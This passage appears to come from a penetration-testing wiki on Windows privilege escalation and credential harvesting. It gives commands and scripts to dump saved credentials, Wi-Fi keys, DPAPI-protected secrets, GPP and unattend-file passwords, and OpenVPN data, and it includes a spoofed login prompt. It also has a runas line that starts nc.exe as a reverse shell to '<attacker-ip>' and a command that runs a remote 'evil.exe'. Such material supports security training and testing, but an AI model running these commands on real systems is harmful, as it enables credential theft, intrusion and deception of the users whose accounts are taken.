From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
|
||
The Windows Vault stores user credentials for servers, websites and other programs that **Windows** can **log in the users automaticall**y. At first instance, this might look like now users can store their Facebook credentials, Twitter credentials, Gmail credentials etc., so that they automatically log in via browsers. But it is not so.
|
||
|
||
Windows Vault stores credentials that Windows can log in the users automatically, which means that any **Windows application that needs credentials to access a resource** (server or a website) **can make use of this Credential Manager** & Windows Vault and use the credentials supplied instead of users entering the username and password all the time.
|
||
|
||
Unless the applications interact with Credential Manager, I don't think it is possible for them to use the credentials for a given resource. So, if your application wants to make use of the vault, it should somehow **communicate with the credential manager and request the credentials for that resource** from the default storage vault.
|
||
|
||
Use the `cmdkey` to list the stored credentials on the machine.
|
||
|
||
```
|
||
cmdkey /list
|
||
Currently stored credentials:
|
||
Target: Domain:interactive=WORKGROUP\Administrator
|
||
Type: Domain Password
|
||
User: WORKGROUP\Administrator
|
||
```
|
||
|
||
Then you can use `runas` with the `/savecred` options in order to use the saved credentials. The following example is calling a remote binary via an SMB share.
|
||
|
||
```bash
|
||
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
|
||
```
|
||
|
||
Using `runas` with a provided set of credential.
|
||
|
||
```bash
|
||
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
|
||
```
|
||
|
||
Note that mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials\_file\_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault\_password\_view.html), or from [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/credentials/dumpCredStore.ps1).
|
||
|
||
### DPAPI
|
||
|
||
In theory, the Data Protection API can enable symmetric encryption of any kind of data; in practice, its primary use in the Windows operating system is to perform symmetric encryption of asymmetric private keys, using a user or system secret as a significant contribution of entropy.
|
||
|
||
**DPAPI allows developers to encrypt keys using a symmetric key derived from the user's logon secrets**, or in the case of system encryption, using the system's domain authentication secrets.
|
||
|
||
The DPAPI keys used for encrypting the user's RSA keys are stored under `%APPDATA%\Microsoft\Protect\{SID}` directory, where {SID} is the [Security Identifier](https://en.wikipedia.org/wiki/Security\_Identifier) of that user. **The DPAPI key is stored in the same file as the master key that protects the users private keys**. It usually is 64 bytes of random data. (Notice that this directory is protected so you cannot list it using`dir` from the cmd, but you can list it from PS).
|
||
|
||
```
|
||
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
|
||
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
|
||
```
|
||
|
||
You can use **mimikatz module** `dpapi::masterkey` with the appropriate arguments (`/pvk` or `/rpc`) to decrypt it.
|
||
|
||
The **credentials files protected by the master password** are usually located in:
|
||
|
||
```
|
||
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
|
||
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
|
||
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
|
||
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
|
||
```
|
||
|
||
You can use **mimikatz module** `dpapi::cred` with the appropiate `/masterkey` to decrypt.\
|
||
You can **extract many DPAPI** **masterkeys** from **memory** with the `sekurlsa::dpapi` module (if you are root).
|
||
|
||
### Wifi
|
||
|
||
```bash
|
||
#List saved Wifi using
|
||
netsh wlan show profile
|
||
#To get the clear-text password use
|
||
netsh wlan show profile <SSID> key=clear
|
||
#Oneliner to extract all wifi passwords
|
||
cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on
|
||
```
|
||
|
||
### Saved RDP Connections
|
||
|
||
You can find them on `HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\`\
|
||
and in `HKCU\Software\Microsoft\Terminal Server Client\Servers\`
|
||
|
||
### Recently Run Commands
|
||
|
||
```
|
||
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
|
||
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
|
||
```
|
||
|
||
### **Remote Desktop Credential Manager**
|
||
|
||
```
|
||
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
|
||
```
|
||
|
||
Use the **Mimikatz** `dpapi::rdg` module with appropriate `/masterkey` to **decrypt any .rdg files**\
|
||
You can **extract many DPAPI masterkeys** from memory with the Mimikatz `sekurlsa::dpapi` module
|
||
|
||
### AppCmd.exe
|
||
|
||
**Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.**\
|
||
**AppCmd.exe** is located in the `%systemroot%\system32\inetsrv\` directory.\
|
||
If this file exists then it is possible that some **credentials** have been configured and can be **recovered**.
|
||
|
||
This code was extracted from _**PowerUP**_:
|
||
|
||
```bash
|
||
function Get-ApplicationHost {
|
||
$OrigError = $ErrorActionPreference
|
||
$ErrorActionPreference = "SilentlyContinue"
|
||
|
||
# Check if appcmd.exe exists
|
||
if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
|
||
# Create data table to house results
|
||
$DataTable = New-Object System.Data.DataTable
|
||
|
||
# Create and name columns in the data table
|
||
$Null = $DataTable.Columns.Add("user")
|
||
$Null = $DataTable.Columns.Add("pass")
|
||
$Null = $DataTable.Columns.Add("type")
|
||
$Null = $DataTable.Columns.Add("vdir")
|
||
$Null = $DataTable.Columns.Add("apppool")
|
||
|
||
# Get list of application pools
|
||
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
|
||
|
||
# Get application pool name
|
||
$PoolName = $_
|
||
|
||
# Get username
|
||
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
|
||
$PoolUser = Invoke-Expression $PoolUserCmd
|
||
|
||
# Get password
|
||
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
|
||
$PoolPassword = Invoke-Expression $PoolPasswordCmd
|
||
|
||
# Check if credentials exists
|
||
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
|
||
# Add credentials to database
|
||
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
|
||
}
|
||
}
|
||
|
||
# Get list of virtual directories
|
||
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
|
||
|
||
# Get Virtual Directory Name
|
||
$VdirName = $_
|
||
|
||
# Get username
|
||
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
|
||
$VdirUser = Invoke-Expression $VdirUserCmd
|
||
|
||
# Get password
|
||
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
|
||
$VdirPassword = Invoke-Expression $VdirPasswordCmd
|
||
|
||
# Check if credentials exists
|
||
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
|
||
# Add credentials to database
|
||
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
|
||
}
|
||
}
|
||
|
||
# Check if any passwords were found
|
||
if( $DataTable.rows.Count -gt 0 ) {
|
||
# Display results in list view that can feed into the pipeline
|
||
$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
|
||
}
|
||
else {
|
||
# Status user
|
||
Write-Verbose 'No application pool or virtual directory passwords were found.'
|
||
$False
|
||
}
|
||
}
|
||
else {
|
||
Write-Verbose 'Appcmd.exe does not exist in the default location.'
|
||
$False
|
||
}
|
||
$ErrorActionPreference = $OrigError
|
||
}
|
||
```
|
||
|
||
### SCClient / SCCM
|
||
|
||
Check if `C:\Windows\CCM\SCClient.exe` exists .\
|
||
Installers are **run with SYSTEM privileges**, many are vulnerable to **DLL Sideloading (Info from** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).**
|
||
|
||
```bash
|
||
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
|
||
if ($result) { $result }
|
||
else { Write "Not Installed." }
|
||
```
|
||
|
||
## Files and Registry (Credentials)
|
||
|
||
### Putty Creds
|
||
|
||
```bash
|
||
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
|
||
```
|
||
|
||
### Putty SSH Host Keys
|
||
|
||
```
|
||
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
|
||
```
|
||
|
||
### SSH keys in registry
|
||
|
||
SSH private keys can be stored inside the registry key `HKCU\Software\OpenSSH\Agent\Keys` so you should check if there is anything interesting in there:
|
||
|
||
```
|
||
reg query HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys
|
||
```
|
||
|
||
If you find any entry inside that path it will probably be a saved SSH key. It is stored encrypted but can be easily decrypted using [https://github.com/ropnop/windows\_sshagent\_extract](https://github.com/ropnop/windows\_sshagent\_extract).\
|
||
More information about this technique here: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
|
||
|
||
If `ssh-agent` service is not running and you want it to automatically start on boot run:
|
||
|
||
```
|
||
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
|
||
```
|
||
|
||
{% hint style="info" %}
|
||
It looks like this technique isn't valid anymore. I tried to create some ssh keys, add them with `ssh-add` and login via ssh to a machine. The registry HKCU\Software\OpenSSH\Agent\Keys doesn't exist and procmon didn't identify the use of `dpapi.dll` during the asymmetric key authentication.
|
||
{% endhint %}
|
||
|
||
### Unattended files
|
||
|
||
```
|
||
C:\Windows\sysprep\sysprep.xml
|
||
C:\Windows\sysprep\sysprep.inf
|
||
C:\Windows\sysprep.inf
|
||
C:\Windows\Panther\Unattended.xml
|
||
C:\Windows\Panther\Unattend.xml
|
||
C:\Windows\Panther\Unattend\Unattend.xml
|
||
C:\Windows\Panther\Unattend\Unattended.xml
|
||
C:\Windows\System32\Sysprep\unattend.xml
|
||
C:\Windows\System32\Sysprep\unattended.xml
|
||
C:\unattend.txt
|
||
C:\unattend.inf
|
||
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
|
||
```
|
||
|
||
You can also search for these files using **metasploit**: _post/windows/gather/enum\_unattend_
|
||
|
||
Example content\_:\_
|
||
|
||
```markup
|
||
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
|
||
<AutoLogon>
|
||
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
|
||
<Enabled>true</Enabled>
|
||
<Username>Administrateur</Username>
|
||
</AutoLogon>
|
||
|
||
<UserAccounts>
|
||
<LocalAccounts>
|
||
<LocalAccount wcm:action="add">
|
||
<Password>*SENSITIVE*DATA*DELETED*</Password>
|
||
<Group>administrators;users</Group>
|
||
<Name>Administrateur</Name>
|
||
</LocalAccount>
|
||
</LocalAccounts>
|
||
</UserAccounts>
|
||
```
|
||
|
||
### SAM & SYSTEM backups
|
||
|
||
```bash
|
||
# Usually %SYSTEMROOT% = C:\Windows
|
||
%SYSTEMROOT%\repair\SAM
|
||
%SYSTEMROOT%\System32\config\RegBack\SAM
|
||
%SYSTEMROOT%\System32\config\SAM
|
||
%SYSTEMROOT%\repair\system
|
||
%SYSTEMROOT%\System32\config\SYSTEM
|
||
%SYSTEMROOT%\System32\config\RegBack\system
|
||
```
|
||
|
||
### Cloud Credentials
|
||
|
||
```bash
|
||
##From user home
|
||
.aws\credentials
|
||
AppData\Roaming\gcloud\credentials.db
|
||
AppData\Roaming\gcloud\legacy_credentials
|
||
AppData\Roaming\gcloud\access_tokens.db
|
||
.azure\accessTokens.json
|
||
.azure\azureProfile.json
|
||
```
|
||
|
||
### McAfee SiteList.xml
|
||
|
||
Search for a file called **SiteList.xml**
|
||
|
||
### Cached GPP Pasword
|
||
|
||
Before KB2928120 (see MS14-025), some Group Policy Preferences could be configured with a custom account. This feature was mainly used to deploy a custom local administrator account on a group of machines. There were two problems with this approach though. First, since the Group Policy Objects are stored as XML files in SYSVOL, any domain user can read them. The second problem is that the password set in these GPPs is AES256-encrypted with a default key, which is publicly documented. This means that any authenticated user could potentially access very sensitive data and elevate their privileges on their machine or even the domain. This function will check whether any locally cached GPP file contains a non-empty "cpassword" field. If so, it will decrypt it and return a custom PS object containing some information about the GPP along with the location of the file.
|
||
|
||
Search in ** **\_**C:\ProgramData\Microsoft\Group Policy\history** \_ or in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (previous to W Vista)_ for these files:
|
||
|
||
* Groups.xml
|
||
* Services.xml
|
||
* Scheduledtasks.xml
|
||
* DataSources.xml
|
||
* Printers.xml
|
||
* Drives.xml
|
||
|
||
**To decrypt the cPassword:**
|
||
|
||
```bash
|
||
#To decrypt these passwords you can decrypt it using
|
||
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
|
||
```
|
||
|
||
### IIS Web Config
|
||
|
||
```bash
|
||
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
|
||
```
|
||
|
||
```bash
|
||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
|
||
C:\inetpub\wwwroot\web.config
|
||
```
|
||
|
||
```
|
||
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
|
||
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
|
||
```
|
||
|
||
Example of web.config with credentials:
|
||
|
||
```markup
|
||
<authentication mode="Forms">
|
||
<forms name="login" loginUrl="/admin">
|
||
<credentials passwordFormat = "Clear">
|
||
<user name="Administrator" password="SuperAdminPassword" />
|
||
</credentials>
|
||
</forms>
|
||
</authentication>
|
||
```
|
||
|
||
### OpenVPN credentials
|
||
|
||
```csharp
|
||
Add-Type -AssemblyName System.Security
|
||
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
|
||
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}
|
||
|
||
foreach ($item in $items)
|
||
{
|
||
$encryptedbytes=$item.'auth-data'
|
||
$entropy=$item.'entropy'
|
||
$entropy=$entropy[0..(($entropy.Length)-2)]
|
||
|
||
$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
|
||
$encryptedBytes,
|
||
$entropy,
|
||
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
|
||
|
||
Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
|
||
}
|
||
```
|
||
|
||
### Logs
|
||
|
||
```bash
|
||
# IIS
|
||
C:\inetpub\logs\LogFiles\*
|
||
|
||
#Apache
|
||
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
|
||
```
|
||
|
||
### Ask for credentials
|
||
|
||
You can always **ask the user to enter his credentials of even the credentials of a different user** if you think he can know them (notice that **asking** the client directly for the **credentials** is really **risky**):
|
||
|
||
```bash
|
||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
|
||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
|
||
|
||
#Get plaintext
|
||
$cred.GetNetworkCredential() | fl
|
||
```
|
||
|
||
### **Possible filenames containing credentials**
|
||
|
||
Known files that some time ago contained **passwords** in **clear-text** or **Base64**
|
||
|
||
```bash
|
||
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
|
||
vnc.ini, ultravnc.ini, *vnc*
|
||
web.config
|
||
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
|
||
SiteList.xml #McAfee
|
||
ConsoleHost_history.txt #PS-History
|
||
*.gpg
|
||
*.pgp
|
||
*config*.php
|
||
elasticsearch.y*ml
|
||
kibana.y*ml
|
||
*.p12
|
||
*.der
|
||
*.csr
|
||
*.cer
|
||
known_hosts
|
||
id_rsa
|
||
id_dsa
|
||
*.ovpn
|
||
anaconda-ks.cfg
|
||
hostapd.conf
|
||
rsyncd.conf
|
||
cesi.conf
|
||
supervisord.conf
|
||
tomcat-users.xml
|
||
*.kdbx
|
||
KeePass.config
|
||
Ntds.dit
|
||
SAM
|
||
SYSTEM
|
||
FreeSSHDservice.ini
|
||
access.log
|
||
error.log
|
||
server.xml
|
||
ConsoleHost_history.txt
|
||
setupinfo
|
||
setupinfo.bak
|
||
key3.db #Firefox
|
||
key4.db #Firefox
|
||
places.sqlite #Firefox
|
||
"Login Data" #Chrome
|
||
Cookies #Chrome
|
||
Bookmarks #Chrome
|
||
History #Chrome
|
||
TypedURLsTime #IE
|
||
TypedURLs #IE
|
||
%SYSTEMDRIVE%\pagefile.sys
|
||
%WINDIR%\debug\NetSetup.log
|
||
%WINDIR%\repair\sam
|
||
%WINDIR%\repair\system
|
||
%WINDIR%\repair\software, %WINDIR%\repair\security
|
||
%WINDIR%\iis6.log
|
||
%WINDIR%\system32\config\AppEvent.Evt
|
||
%WINDIR%\system32\config\SecEvent.Evt
|
||
%WINDIR%\system32\config\default.sav
|
||
%WINDIR%\system32\config\security.sav
|
||
%WINDIR%\system32\config\software.sav
|
||
%WINDIR%\system32\config\system.sav
|
||
%WINDIR%\system32\CCM\logs\*.log
|
||
%USERPROFILE%\ntuser.dat
|
||
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
|
||
```
|
||
|
||
Search all of the proposed files:
|
||
|
||
```
|
||
cd C:\
|
||
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
|
||
```
|
||
|
||
```
|
||
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
|
||
```
|
||
|
||
### Credentials in the RecycleBin
|
||
|
||
You should also check the Bin to look for credentials inside it
|
||
|
||
To **recover passwords** saved by several programs you can use: [http://www.nirsoft.net/password\_recovery\_tools.html](http://www.nirsoft.net/password\_recovery\_tools.html)
|
||
|
||
### Inside the registry
|
||
|
||
#### Other possible registry keys with credentials
|
||
|
||
```bash
|
||
reg query "HKCU\Software\ORL\WinVNC3\Password"
|
||
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
|
||
reg query "HKCU\Software\TightVNC\Server"
|
||
reg query "HKCU\Software\OpenSSH\Agent\Key"
|
||
```
|
||
|
||
[**Extract openssh keys from registry.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
|
||
|
||
### Browsers History
|
||
|
||
You should check for dbs where passwords from **Chrome or Firefox** are stored.\
|
||
Also check for the history, bookmarks and favourites of the browsers so maybe some **passwords are** stored there.
|
||
|
||
Tools to extract passwords from browsers:
|
||
|
||
* Mimikatz: `dpapi::chrome`
|
||
* [**SharpWeb**](https://github.com/djhohnstein/SharpWeb)
|
||
|
||
### **Generic Password search in files and registry**
|
||
|
||
#### Search for file contents
|
||
|
||
```bash
|
||
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
|
||
findstr /si password *.xml *.ini *.txt *.config
|
||
findstr /spin "password" *.*
|
||
```
|
||
|
||
#### Search for a file with a certain filename
|
||
|
||
```bash
|
||
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
|
||
where /R C:\ user.txt
|
||
where /R C:\ *.ini
|
||
```
|
||
|
||
#### Search the registry for key names and passwords
|
||
|
||
```bash
|
||
REG QUERY HKLM /F "password" /t REG_SZ /S /K
|
||
REG QUERY HKCU /F "password" /t REG_SZ /S /K
|
||
REG QUERY HKLM /F "password" /t REG_SZ /S /d
|
||
REG QUERY HKCU /F "password" /t REG_SZ /S /d
|
||
```
|
||
|
||
### Tools that search for passwords
|
||
|
||
[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is a msf** plugin I have created this plugin to **automatically execute every metasploit POST module that searches for credentials** inside the victim.\
|
||
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) automatically search for all the files containing passwords mentioned in this page.\
|
||
[**Lazagne**](https://github.com/AlessandroZ/LaZagne) is another great tool to extract password from a system.
|
||
|
||
The tool [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) search for **sessions**, **usernames** and **passwords** of several tools that save this data in clear text (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP)
|
||
|
||
```bash
|
||
Import-Module path\to\SessionGopher.ps1;
|
||
Invoke-SessionGopher -Thorough
|
||
Invoke-SessionGopher -AllDomain -o
|
||
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
|
||
```
|
||
|
||
## Leaked Handlers
|
||
|
||
Imagine that **a process running as SYSTEM open a new process** (`OpenProcess()`) with **full access**. The same process **also create a new process** (`CreateProcess()`) **with low privileges but inheriting all the open handles of the main process**.\
|
||
Then, if you have **full access to the low privileged process**, you can grab the **open handle to the privileged process created** with `OpenProcess()` and **inject a shellcode**.\
|
||
[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\
|
||
[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
|
||
|
||
## Named Pipe Client Impersonation
|
||
|
||
A `pipe` is a block of shared memory that processes can use for communication and data exchange.
|
||
|
||
`Named Pipes` is a Windows mechanism that enables two unrelated processes to exchange data between themselves, even if the processes are located on two different networks. It's very similar to client/server architecture as notions such as `a named pipe server` and a named `pipe client` exist.
|
||
|
||
When a **client writes on a pipe**, the **server** that created the pipe can **impersonate** the **client** if it has **SeImpersonate** privileges. Then, if you can find a **privileged process that is going to write on any pipe that you can impersonate**, you could be able to **escalate privileges** impersonating that process after it writes inside your created pipe. [**You can read this to learn how to perform this attack**](named-pipe-client-impersonation.md)**.**
|
||
|
||
## From Administrator Medium to High Integrity Level / UAC Bypass
|
||
|
||
[**Read this to learn about Integrity Levels**](integrity-levels.md) **and** [**this to learn what is UAC**](../authentication-credentials-uac-and-efs.md#uac)**, then read how to**[ **bypass it**](../authentication-credentials-uac-and-efs.md#uac)**.**
|
||
|
||
## **From High Integrity to System**
|
||
|
||
### **New service**
|
||
|
||
If you are already running on a High Integrity process, the **pass to SYSTEM** can be easy just **creating and executing a new service**:
|
||
|
||
```
|
||
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
|
||
sc start newservicename
|
||
```
|
||
|
||
### AlwaysInstallElevated
|
||
|
||
From a High Integrity process you could try to **enable the AlwaysInstallElevated registry entries** and **install** a reverse shell using a _**.msi**_ wrapper.\
|
||
[More information about the registry keys involved and how to install a _.msi_ package here.](./#alwaysinstallelevated)
|
||
|
||
### High + SeImpersonate privilege to System
|
||
|
||
**You can** [**find the code here**](seimpersonate-from-high-to-system.md)**.**
|
||
|
||
### From SeDebug + SeImpersonate to Full Token privileges
|
||
|
||
If you have those token privileges (probably you will find this in an already High Integrity process), you will be able to **open almost any process** (not protected processes) with the SeDebug privilege, **copy the token** of the process, and create an **arbitrary process with that token**.\
|
||
Using this technique is usually **selected any process running as SYSTEM with all the token privileges** (_yes, you can find SYSTEM processes without all the token privileges_).\
|
||
**You can find an** [**example of code executing the proposed technique here**](sedebug-+-seimpersonate-copy-token.md)**.**
|
||
|
||
### **Named Pipes**
|
||
|
||
This technique is used by meterpreter to escalate in `getsystem`. The technique consists on **creating a pipe and then create/abuse a service to write on that pipe**. Then, the **server** that created the pipe using the **`SeImpersonate` ** privilege will be able to **impersonate the token** of the pipe client (the service) obtaining SYSTEM privileges.\
|
||
If you want to [**learn more about name pipes you should read this**](./#named-pipe-client-impersonation).\
|
||
If you want to read an example of [**how to go from high integrity to System using name pipes you should read this**](from-high-integrity-to-system-with-name-pipes.md).
|
||
|
||
### Dll Hijacking
|
||
|
||
If you manages to **hijack a dll** being **loaded** by a **process** running as **SYSTEM** you will be able to execute arbitrary code with those permissions. Therefore Dll Hijacking is also useful to this kind of privilege escalation, and, moreover, if far **more easy to achieve from a high integrity process** as it will have **write permissions** on the folders used to load dlls.\
|
||
**You can** [**learn more about Dll hijacking here**](dll-hijacking.md)**.**
|
||
|
||
### **From Administrator or Network Service to System**
|
||
|
||
{% embed url="https://github.com/sailay1996/RpcSsImpersonator" %}
|
||
|
||
### From LOCAL SERVICE or NETWORK SERVICE to full privs
|
||
|
||
**Read:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers)
|
||
|
||
## More help
|
||
|
||
[Static impacket binaries](https://github.com/ropnop/impacket\_static\_binaries)
|
||
|
||
## Useful tools
|
||
|
||
#### **Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||
|
||
#### PS
|
||
|
||
[**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\
|
||
[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Check for misconfigurations and sensitive files (**[**check here**](broken-reference/)**). Detected.**\
|
||
[**JAWS**](https://github.com/411Hall/JAWS) **-- Check for some possible misconfigurations and gather info (**[**check here**](broken-reference/)**).**\
|
||
[**privesc** ](https://github.com/enjoiz/Privesc)**-- Check for misconfigurations**\
|
||
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- It extracts PuTTY, WinSCP, SuperPuTTY, FileZilla, and RDP saved session information. Use -Thorough in local.**\
|
||
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Extracts crendentials from Credential Manager. Detected.**\
|
||
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Spray gathered passwords across domain**\
|
||
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh is a PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer and man-in-the-middle tool.**\
|
||
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Basic privesc Windows enumeration**\
|
||
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Search for known privesc vulnerabilities (DEPRECATED for Watson)\
|
||
[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Local checks **(Need Admin rights)**
|
||
|
||
#### Exe
|
||
|
||
[**Watson**](https://github.com/rasta-mouse/Watson) -- Search for known privesc vulnerabilities (needs to be compiled using VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
|
||
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumerates the host searching for misconfigurations (more a gather info tool than privesc) (needs to be compiled) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
|
||
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Extracts credentials from lots of softwares (precompiled exe in github)**\
|
||
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Check for misconfiguration (executable precompiled in github). Not recommended. It does not work well in Win10.\
|
||
[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Check for possible misconfigurations (exe from python). Not recommended. It does not work well in Win10.
|
||
|
||
#### Bat
|
||
|
||
[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Tool created based in this post (it does not need accesschk to work properly but it can use it).
|
||
|
||
#### Local
|
||
|
||
[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Reads the output of **systeminfo** and recommends working exploits (local python)\
|
||
[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Reads the output of **systeminfo** andrecommends working exploits (local python)
|
||
|
||
#### Meterpreter
